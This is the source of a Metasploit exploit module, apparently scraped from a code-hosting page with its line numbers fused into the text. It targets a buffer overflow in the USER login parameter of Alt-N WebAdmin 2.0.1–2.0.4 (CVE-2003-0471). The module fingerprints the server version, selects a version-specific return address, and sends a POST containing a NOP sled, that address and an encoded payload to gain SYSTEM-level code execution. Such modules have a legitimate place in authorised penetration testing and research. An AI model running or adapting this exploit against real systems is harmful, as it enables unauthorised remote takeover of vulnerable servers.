Path: blob/master/modules/exploits/windows/http/altn_webadmin.rb
19669 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Alt-N WebAdmin USER Buffer Overflow',15'Description' => %q{16Alt-N WebAdmin is prone to a buffer overflow condition. This17is due to insufficient bounds checking on the USER18parameter. Successful exploitation could result in code19execution with SYSTEM level privileges.20},21'Author' => [ 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2003-0471' ],25[ 'OSVDB', '2207' ],26[ 'BID', '8024'],27[ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=11771']28],29'Privileged' => true,30'DefaultOptions' => {31'EXITFUNC' => 'thread',32},33'Payload' => {34'Space' => 830,35'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",36'StackAdjustment' => -3500,3738},39'Platform' => 'win',40'Targets' => [41['Automatic', {}],42['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll43['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll44['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll45['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll46],47'DefaultTarget' => 0,48'DisclosureDate' => '2003-06-24',49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options([Opt::RPORT(1000)])58end5960def exploit61mytarget = target6263if (target.name =~ /Automatic/)64res = send_request_raw({65'uri' => '/WebAdmin.DLL'66}, -1)6768if (res and res.body =~ /WebAdmin.*v(2\..*)$/)69case $170when /2\.0\.4/71mytarget = targets[1]72when /2\.0\.3/73mytarget = targets[2]74when /2\.0\.2/75mytarget = targets[3]76when /2\.0\.1/77mytarget = targets[4]78else79print_error("No target found for v#{$1}")80return81end82else83print_error("No target found")84end85end8687user_cook = rand_text_alphanumeric(2)88post_data = 'User=' + make_nops(168) + [mytarget.ret].pack('V') + payload.encoded89post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'9091print_status("Sending request...")92res = send_request_cgi({93'uri' => '/WebAdmin.DLL',94'query' => 'View=Logon',95'method' => 'POST',96'content-type' => 'application/x-www-form-urlencoded',97'cookie' => "User=#{user_cook}; Lang=en; Theme=standard",98'data' => post_data,99'headers' =>100{101'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',102'Accept-Language' => 'en',103'Accept-Charset' => 'iso-8859-1,*,utf-8'104}105}, 5)106107handler108end109end110111112